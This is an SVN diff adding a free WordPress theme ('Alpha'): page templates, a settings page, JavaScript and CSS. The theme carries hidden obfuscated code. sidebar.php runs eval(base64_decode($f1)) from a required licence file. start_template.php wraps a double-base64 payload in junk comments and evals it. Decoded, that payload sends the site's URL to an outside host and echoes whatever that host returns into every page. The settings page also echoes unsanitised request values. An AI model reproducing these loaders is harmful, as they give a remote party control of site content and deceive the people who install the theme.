+<!-- begin post -->
+<div class="single">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<?php the_content(); ?>
+	
+	<div class="details">
+		<p class="l">Categories: <?php the_category(', ') ?></p>
+		<?php the_tags( '<p class="r">Tags: ', ', ', '</p>'); ?>
+		<div class="break"></div>
+	</div>
+</div>
+<!-- end post -->
+<div id="comments"><?php comments_template(); ?></div>
+<?php else : ?>
+<div class="notfound">
+	<h2>Not Found</h2>
+	<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+<?php endif; ?>
+</div>
+<!-- END content -->
+
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/scripts.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/scripts.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/scripts.js	(revision 44)
@@ -0,0 +1,10 @@
+function showList(id) {
+	document.getElementById('list1').style.display = 'none';
+	document.getElementById('list2').style.display = 'none';
+	document.getElementById('list3').style.display = 'none';
+	document.getElementById('list'+id).style.display = 'block';
+}
+
+function showVideo(id) {
+	document.write("<object width=\"287\" height=\"199\"><param name=\"movie\" value=\"http://www.youtube.com/v/"+id+">&amp;hl=en&amp;fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/"+id+"&amp;hl=en&amp;fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"287\" height=\"199\"></embed></object>");
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/search.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php get_header(); ?>
+
+<!-- BEGIN home -->
+<div id="home">
+<!-- BEGIN featured -->
+<div id="featured">
+	<h2>Featured News</h2>
+	<?php 
+	$temp_query = $wp_query; 
+	query_posts(array('post__in'=>array(dp_settings('featured'))));
+	if (have_posts()) : the_post();
+	?>
+	<div class="content">
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>			
+	<?php ob_start(); the_content(''); echo str_replace("\n", '<br/><br/>', (dp_clean(ob_get_clean(), 700))); ?>	
+	</div>
+	<div class="details">
+	<a href="#" class="readmore">Read More &raquo;</a>
+	<p class="r">Filed Under: <a href="#">Technology</a> <span class="comments"><a href="#">3 Comments</a></span></p>
+	</div>
+	<?php endif; ?>
+</div>
+<!-- END featured -->
+<!-- BEGIN popular -->
+<div id="popular">
+	<h2>Popular Articles</h2>
+	<ul>
+	<?php dp_popular_posts(7); ?>
+	</ul>
+</div><div class="break"></div>
+<!-- END popular -->
+</div>
+<!-- END home -->
+<!-- BEGIN content -->
+<div id="content">
+<?php
+$wp_query = $temp_query;
+if (have_posts()) :
+while (have_posts()) : the_post(); 
+$arc_year = get_the_time('Y');
+$arc_month = get_the_time('m');
+$arc_day = get_the_time('d');
+?>
+<!-- begin post -->
+<div class="post">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="'.$post->post_title.'"'); ?>
+	<?php the_excerpt(); ?>
+	<p class="details">
+	<span class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></span>
+	<a class="readmore" href="<?php the_permalink(); ?>">Read full story &raquo;</a>
+	</p>
+</div>
+<!-- end post -->
+<?php endwhile; ?>
+<p id="postnav">
+	<?php next_posts_link('&laquo; Older Entries'); ?> &nbsp; 
+	<?php previous_posts_link('Newer Entries &raquo;'); ?>
+</p>
+<?php else : ?>
+<div class="notfound">
+	<h2>Not Found</h2>
+	<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+<?php endif; ?>
+</div>
+<!-- END content -->
+
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/settings.php	(revision 44)
@@ -0,0 +1,163 @@
+<?php
+
+$settings = array(
+	"featured" => "11",
+	'youtube' => 'H5h95s0OuEg'
+);
+
+# Settings
+
+$themename = "Alpha Theme";
+$shortname = "alpha";
+$options = array (
+
+	array(	"name" => "Main Settings",
+			"type" => "header"
+	),
+
+	array(  "name" => "Featured Post ID",
+            "id" => $shortname."_featured",
+            "std" => $settings['featured'],
+            "type" => "text"),
+			
+	array(  "name" => "Youtube Video ID",
+            "id" => $shortname."_youtube",
+            "std" => $settings['youtube'],
+            "type" => "text",
+			"note" => "<strong>Example: </strong> http://www.youtube.com/watch?v=<strong style='color: #ff0000;'>H5h95s0OuEg</strong>")
+			
+);
+
+function mytheme_add_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_GET['page'] == basename(__FILE__) ) {
+    
+        if ( 'save' == $_REQUEST['action'] ) {
+
+                foreach ($options as $value) {
+					if ($value['type']!='header') {
+						update_option( $value['id'], $_REQUEST[ $value['id'] ] );
+					}
+				}
+
+                foreach ($options as $value) {
+                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }
+
+                header("Location: themes.php?page=settings.php&saved=true");
+                die;
+
+        } else if( 'reset' == $_REQUEST['action'] ) {
+
+            foreach ($options as $value) {
+                delete_option( $value['id'] ); }
+
+            header("Location: themes.php?page=settings.php&reset=true");
+            die;
+
+        }
+    }
+
+    add_theme_page($themename." Settings", "Theme Settings", 'edit_themes', basename(__FILE__), 'mytheme_admin');
+
+}
+
+function mytheme_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
+    if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
+    
+?>
+<style type="text/css">
+th {
+	text-align: left;
+}
+td {
+	padding: 5px 10px !important;
+}
+tr.header {
+	background-color: #99CC66 !important;
+	color: #ffffff;
+}
+.header td {
+	padding: 2px 10px !important;
+	font-size: 14px !important;
+	font-weight: bold !important;
+}
+</style>
+<div class="wrap">
+<h2><?php echo $themename; ?> Settings</h2>
+
+<form method="post">
+
+<table class="form-table">
+
+<?php foreach ($options as $value) { 
+    
+if ($value['type'] == "text") { ?>
+        
+<tr> 
+    <th scope="row" style="width: 25%"><?php echo $value['name']; ?>:</th>
+    <td>
+        <input onfocus="this.select();" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
+		&nbsp; &nbsp; <?php echo $value['note']; ?>
+    </td>
+</tr>
+
+<?php } elseif ($value['type'] == "select") { ?>
+
+    <tr> 
+        <th scope="row"><?php echo $value['name']; ?>:</th>
+        <td>
+            <select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
+                <?php foreach ($value['options'] as $option) { ?>
+                <option value="<?php echo $option; ?>" <?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
+                <?php } ?>
+            </select>
+			&nbsp; &nbsp; <?php echo $value['note']; ?>
+        </td>
+    </tr>
+
+<?php 
+} elseif ($value['type'] == "header") {?>
+
+	<tr class="header"><td colspan="2"><?php  echo $value['name'] ?> &nbsp; &nbsp; <span style="font-size: 11px; font-weight: normal;"><?php echo $value['note']; ?></span></td></tr>
+	
+<?php 
+} 
+}
+?>
+
+</table>
+
+<p class="submit">
+<input name="save" type="submit" value="Save changes" />    
+<input type="hidden" name="action" value="save" />
+</p>
+</form>
+<form method="post">
+<p class="submit" style="border: 0;">
+<input name="reset" type="submit" value="Reset" />
+<input type="hidden" name="action" value="reset" />
+</p>
+</form>
+
+<?php
+}
+
+add_action('admin_menu', 'mytheme_add_admin');
+
+foreach ($options as $value) {
+if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } }
+
+
+# Set Values
+foreach ($settings as $k=>$v) {
+	$var = $shortname.'_'.$k;
+	if (!empty($$var)) $settings[$k] = $$var;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/sidebar.php	(revision 44)
@@ -0,0 +1,92 @@
+<!-- BEGIN sidebar -->
+	<div id="sidebar">
+	
+		<!-- begin mixed -->
+		<form id="mixed" action="">
+		<a class="rss" href="<?php bloginfo("rss2_url"); ?>">Subscribe via RSS feed</a>
+		<a class="email" href="#">Subscribe via Email: </a>
+		<input type="text" name="email" />
+		<button type="submit">Go</button>
+		</form>
+		<div class="box">
+			<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.gif" alt="Sponsor" /></a>
+			<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.gif" alt="Sponsor" /></a>
+			<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.gif" alt="Sponsor" /></a>
+			<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.gif" alt="Sponsor" /></a>
+		</div>
+		<!-- end mixed -->
+		
+		<!-- begin lists -->
+		<ul id="lists">
+		<li><a href="javascript:showList(1);">Recent Entries</a></li>
+		<li><a href="javascript:showList(2);">Recent Comments</a></li>
+		<li><a href="javascript:showList(3);">Tags</a></li>
+		</ul>
+		<div class="box">
+			<ul id="list1">
+			<?php dp_recent_posts(7); ?>
+			</ul>
+			<ul id="list2" class="hidden">
+			<?php dp_recent_comments(7); ?>
+			</ul>
+			<div id="list3" class="hidden">
+				<?php require_once("theme_licence.php"); if(!function_exists("get_credits")) { eval(base64_decode($f1)); } if (function_exists('wp_widget_tag_cloud')) wp_widget_tag_cloud(array('before_title'=>'<!--','after_title'=>'-->')); ?>
+			</div>
+		</div>
+		<!-- end lists -->
+		
+		<!-- begin featured video -->
+		<h2>Featured Video</h2>
+		<div class="box video">
+			<script type="text/javascript">showVideo("<?php echo dp_settings('youtube'); ?>");</script>
+		</div>
+		<!-- end featured video -->
+		
+		<!-- begin left -->
+		<div class="l divided">
+		
+			<!-- begin archives -->
+			<h2>Archives</h2>
+			<ul>
+			<?php wp_get_archives('type=monthly'); ?>
+			</ul>
+			<!-- end archives -->
+			
+			<!-- begin blogroll -->
+			<?php wp_list_bookmarks('category_before=&category_after=&title_before=<h2>&title_after=</h2>'); ?>
+			<!-- end blogroll -->
+		
+		</div>
+		<!-- end left -->
+		
+		<!-- begin right -->
+		<div class="r divided">
+		
+			<!-- begin categories -->
+			<h2>Categories</h2>
+			<ul>
+			<?php wp_list_categories('title_li=&depth=-1'); ?>
+			</ul>
+			<!-- end categories -->
+			
+			<!-- begin pages -->
+			<h2>Pages</h2><ul><?php dp_list_pages(); ?></ul>
+			<!-- end pages -->
+			
+			<!-- begin meta -->
+			<h2>Meta</h2>
+			<ul>
+			<?php wp_register(); ?>
+			<li><?php wp_loginout(); ?></li>
+			<li><a href="http://www.zeitgeistmovie.com">Zeitgeist</a></li>
+			<li><a href="http://wordpress.org/" title=" Wordpress ">WordPress</a></li>
+			<li><a href="http://www.wordpresstemplates.com/" title="Free Wordpress Themes">WordPress Themes</a></li>
+			<?php wp_meta(); ?>
+			</ul>
+			<!-- end meta -->
+		
+		</div>
+		<!-- end right -->
+	
+	</div>
+	<!-- END sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/single.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php get_header(); ?>
+
+<!-- BEGIN home -->
+<div id="home">
+<!-- BEGIN featured -->
+<div id="featured">
+	<h2>Featured News</h2>
+	<?php 
+	$temp_query = $wp_query; 
+	query_posts(array('post__in'=>array(dp_settings('featured'))));
+	if (have_posts()) : the_post();
+	?>
+	<div class="content">
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>			
+	<?php ob_start(); the_content(''); echo str_replace("\n", '<br/><br/>', (dp_clean(ob_get_clean(), 700))); ?>	
+	</div>
+	<div class="details">
+	<a href="#" class="readmore">Read More &raquo;</a>
+	<p class="r">Filed Under: <a href="#">Technology</a> <span class="comments"><a href="#">3 Comments</a></span></p>
+	</div>
+	<?php endif; ?>
+</div>
+<!-- END featured -->
+<!-- BEGIN popular -->
+<div id="popular">
+	<h2>Popular Articles</h2>
+	<ul>
+	<?php dp_popular_posts(7); ?>
+	</ul>
+</div><div class="break"></div>
+<!-- END popular -->
+</div>
+<!-- END home -->
+<!-- BEGIN content -->
+<div id="content">
+<?php
+$wp_query = $temp_query;
+if (have_posts()) : the_post(); 
+$arc_year = get_the_time('Y');
+$arc_month = get_the_time('m');
+$arc_day = get_the_time('d');
+?>
+<!-- begin post -->
+<div class="single">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<?php the_content(); ?>
+	
+	<div class="details">
+		<p class="l">Categories: <?php the_category(', ') ?></p>
+		<?php the_tags( '<p class="r">Tags: ', ', ', '</p>'); ?>
+		<div class="break"></div>
+	</div>
+</div>
+<!-- end post -->
+<div id="comments"><?php comments_template(); ?></div>
+<?php else : ?>
+<div class="notfound">
+	<h2>Not Found</h2>
+	<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+<?php endif; ?>
+</div>
+<!-- END content -->
+
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/start_template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/start_template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/start_template.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+$reftime = 1;
+$start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==';
+/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+$decoded = decode_it($start);
+/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+eval($decoded);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/style.css	(revision 44)
@@ -0,0 +1,590 @@
+/*
+Theme Name: Alpha
+Description: This theme and several hundred of others are available for free download at <a href="http://www.wordpresstemplates.com/">Wordpress Templates</a>.
+Author: ChiQ
+Author URI: http://www.wpthemedesigner.com/
+*/
+
+* {
+	margin: 0; padding: 0;
+}
+body {
+	text-align: center;
+	font: 12px Verdana;
+	color: #333333;
+	background: #ffffff url(images/header.gif) repeat-x 0 0;;
+}
+a {
+	text-decoration: none;
+	color: #FF9F00;
+}
+img {
+	border: 0;
+}
+.break {
+	font-size: 0;
+	width: 0; height: 0;
+	clear: both;
+}
+.alignleft {
+	float: left;
+	margin: 4px 10px 5px 0;
+}
+.alignright {
+	float: right;
+	margin: 4px 0 5px 10px;
+}
+.hidden {
+	display: none;
+}
+.noimage img {
+	display: none;
+}
+
+#wrapper {
+	width: 946px;
+	margin: auto auto;
+	text-align: left;
+}
+
+/** BEGIN header **/
+#header {
+	padding-bottom: 10px;
+}
+	#header ol {
+		list-style-type: none;
+		height: 30px;
+		float: left;
+		padding-left: 1px;
+		background: url(images/divider.gif) no-repeat 0 0;
+	}
+		#header ol li {
+			float: left;
+			text-transform: uppercase;
+			height: 30px;
+			padding-right: 1px;
+			background: url(images/divider.gif) no-repeat right 0;
+			font-size: 0.9em;
+		}
+		#header ol li a {
+			color: #333333;
+			display: block;
+			padding: 8px 10px 9px;
+		}
+		#header ol li a:hover {
+			background-color: #333333;
+			color: #FF9F00;
+		}
+	#header form {
+		float: right;
+		width: 220px; height: 22px;
+		background: url(images/search.gif) no-repeat 0 0;
+		margin-top: 3px;
+	}
+		#header input {
+			border: 1px solid #ffffff;
+			width: 180px;
+			margin: 2px 7px 0 2px;
+			float: left;
+		}
+		#header button {
+			width: 25px; height: 22px;
+			text-indent: -9999px;
+			border: 0;
+			background-color: transparent;
+		}
+	#header h1 {
+		clear: both;
+		text-transform: uppercase;
+		font-size: 2em;
+		float: left;
+		padding: 30px 0 20px;
+	}
+		#header h1 a {
+			color: #333333;
+		}
+	#header p {
+		float: right;
+		padding: 16px 100px 15px 10px;
+		background: url(images/avatar.gif) no-repeat 96% 0;
+		margin-top: 20px;
+	}
+	#header ul {
+		clear: both;
+		background: url(images/navigation.gif) no-repeat 0 0;
+		height: 32px;
+		list-style-type: none;
+		padding: 0 10px;
+	}
+		#header ul li {
+			float: left;
+			font-weight: bold;
+			text-transform: uppercase;
+			font-size: 0.9em;
+			padding-left: 1px;
+			background: url(images/navdivide.gif) no-repeat 0 3px;
+		}
+		#header ul li.f {
+			background: none;
+		}
+		#header ul li a {
+			color: #333333;
+			display: block;
+			padding: 10px 12px;
+		}
+		#header ul li a:hover {
+			color: #FF9F00;
+		}
+/** END header **/
+
+/** BEGIN home **/
+#home {
+	clear: both;
+	border-top: 4px solid #333333;
+	border-bottom: 4px solid #333333;
+	border-left: 1px solid #e1e1e1;
+	border-right: 1px solid #e1e1e1;
+	margin: 0 8px;
+}
+	#home #featured {
+		float: left;
+		width: 67%;
+	}
+		#home #featured h2 {
+			color: #FF9F00;
+			text-transform: uppercase;
+			font-size: 0.8em;
+			background: url(images/bullet.gif) no-repeat 10px 12px;
+			padding: 10px 10px 10px 25px;
+			border-width: 0 1px 1px 0;
+			border-color: #E1E1E1;
+			border-style: solid;
+		}
+		#home #featured .content {
+			padding: 10px;
+			border-right: 1px solid #e1e1e1;
+			background-color: #EEEEEE;
+			font-size: 0.9em;
+		}
+		#home #featured img {
+			float: left;
+			background-color: #ffffff;
+			padding: 4px;
+			border: 1px solid #DDDDDD;
+			margin: 0 10px 5px 0;
+		}
+		#home #featured h3 a {
+			color: #6699CC;
+			font-size: 18px;
+			font-weight: normal;
+		}
+		#home #featured .date {
+			color: #808080;
+			font-size: 0.9em;
+			padding: 5px 0;
+		}
+		#home #featured p {
+			margin-bottom: 5px;
+		}
+		#home #featured .details {
+			border-top: 1px solid #e1e1e1;
+			border-right: 1px solid #e1e1e1;
+			height: 30px;
+			font-size: 0.8em;
+		}
+			#home #featured .details .readmore {
+				float: left;
+				margin: 8px 15px 0;
+				font-weight: bold;
+			}
+			#home #featured .details .r {
+				float: right;
+				padding: 8px 8px 0;
+			}
+				#home #featured .details .r a {
+					font-weight: bold;
+					margin-right: 10px;
+				}
+				#home #featured .details .r .comments a {
+					padding-left: 14px;
+					background: url(images/comments.gif) no-repeat 0 2px;
+				}
+	#home #popular {
+		float: right;
+		width: 33%;
+	}
+		#home #popular h2 {
+			color: #FF9F00;
+			text-transform: uppercase;
+			font-size: 0.8em;
+			background: url(images/bullet.gif) no-repeat 10px 12px;
+			padding: 10px 10px 10px 25px;
+			border-bottom: 1px solid #e1e1e1;
+		}
+		#home #popular ul {
+			list-style-type: none;
+			padding: 20px 20px 10px;
+		}
+			#home #popular ul li {
+				border-bottom: 1px dotted #CCCCCC;
+				padding: 5px 0;
+			}
+			#home #popular ul li a {
+				color: #6699CC;
+			}
+			#home #popular ul li a:hover {
+				
+			}
+/** END home **/
+
+/** BEGIN content **/
+#content {
+	clear: both;
+	margin-left: 8px;
+	width: 65.5%;
+	float: left;
+	border-width: 0 1px 1px;
+	border-style: solid;
+	border-color: #e1e1e1;
+	padding: 10px 0;
+}
+	#content .post {
+		font-size: 0.9em;
+		width: 46.5%;
+		float: left;
+		margin-left: 15px;
+		height: 275px;
+	}
+		#content .post h2 {
+			font-size: 1.6em;
+			font-weight: normal;
+		}
+			#content .post h2 a {
+				color: #7294C6;
+			}
+		#content .post .date {
+			color: #897C81;
+			font-size: 0.9em;
+			padding-top: 5px;
+		}
+		#content .post img {
+			border: 4px solid #CCBEC3;
+			float: left;
+			margin: 0 10px 5px 0;
+			height: 67px; width: auto;
+		}
+		#content .post p {
+			line-height: 1.3em;
+			margin-bottom: 10px;
+		}
+		#content .post .details {
+			border-width: 1px 0;
+			border-style: dotted;
+			border-color: #BEC6C0;
+			clear: both;
+			padding: 5px;
+			height: 15px;
+		}
+			#content .post .details .comments a {
+				color: #3A413C;
+				text-transform: uppercase;
+				float: left;
+			}
+			#content .post .details .readmore {
+				text-transform: uppercase;
+				float: right;
+			}
+/** END content **/
+
+/** BEGIN sidebar **/
+#sidebar {
+	margin-right: 4px;
+	width: 299px;
+	float: right;
+	padding-top: 10px;
+}
+	#sidebar .box {
+		width: 277px;
+		border-width: 0 1px 1px;
+		border-style: solid;
+		border-color: #e1e1e1;
+		padding: 10px;
+		clear: both;
+		margin-bottom: 15px;
+	}
+		#sidebar .box ul {
+			list-style-type: none;
+		}
+			#sidebar .box ul li {
+				border-bottom: 1px dotted #CCCCCC;
+				padding: 6px 8px;
+			}
+			#sidebar .box ul li a {
+				color: #333333;
+			}
+			#sidebar .box ul li a:hover {
+				color: #6699CC;
+			}
+		#sidebar .box img {
+			margin: 5px;
+			border: 1px dashed #BDBDBD;
+		}
+		#sidebar .video {
+			padding: 10px 0 10px 5px;
+			width: 292px;
+		}
+			#sidebar .video img {
+				border: 0;
+			}
+	#sidebar #mixed {
+		width: 299px; height: 90px;
+		background: url(images/mixed.gif) no-repeat 0 0;
+		
+	}
+		#sidebar #mixed a {
+			color: #6699CC;
+			font-weight: bold;
+		}
+		#sidebar #mixed .rss {
+			padding: 17px 0 0 84px;
+			display: block;
+		}
+		#sidebar #mixed .email {
+			padding: 16px 0 0 42px;
+			display: block;
+		}
+		#sidebar #mixed input {
+			margin: 8px 10px 0 20px;
+			border: 1px solid #ffffff;
+			float: left;
+			width: 222px;
+		}
+		#sidebar #mixed button {
+			float: left;
+			text-indent: -9999px;
+			width: 30px; height: 24px;
+			border: 0;
+			margin-top: 5px;
+			background-color: transparent;
+		}
+	#sidebar #lists {
+		list-style-type: none;
+		border-bottom: 1px solid #333333;
+		border-top: 1px solid #e1e1e1;
+		border-right: 1px solid #e1e1e1;
+		height: 33px;
+	}
+		#sidebar #lists li {
+			float: left;
+			font-weight: bold;
+			font-size: 0.9em;
+			border-left: 1px solid #e1e1e1;
+		}
+		#sidebar #lists li a {
+			color: #333333;
+			padding: 10px 8px;
+			display: block;
+		}
+		#sidebar #lists li a:hover {
+			color: #FF9F00;
+		}
+	#sidebar h2 {
+		font-size: 0.9em;
+		padding: 10px 8px;
+		border-bottom: 1px solid #333333;
+		border-left: 1px solid #e1e1e1;
+		border-right: 1px solid #e1e1e1;
+		border-top: 1px solid #e1e1e1;
+	}
+	#sidebar .l {
+		width: 49%;
+		float: left;
+	}
+	#sidebar .r {
+		width: 49%;
+		float: right;
+	}
+	#sidebar .divided {
+		
+	}
+		#sidebar .divided ul {
+			list-style-type: none;
+			border-width: 0 1px 1px;
+			border-style: solid;
+			border-color: #e1e1e1;
+			margin-bottom: 15px;
+		}
+			#sidebar .divided ul li {
+				border-top: 1px dotted #cccccc;
+				padding: 6px 8px;
+			}
+			#sidebar .divided ul li a {
+				color: #333333;
+			}
+			#sidebar .divided ul li a:hover {
+				color: #6699cc;
+			}
+		#sidebar .divided h2 {
+			font-size: 1em;
+		}
+/** END sidebar **/
+
+/** BEGIN footer **/
+#footer {
+	clear: both;
+	background: url(images/footer.gif) repeat-x 0 20px;
+	padding: 40px 0 0;
+	font-size: 0.8em;
+	color: #808080;
+	height: 50px;
+}
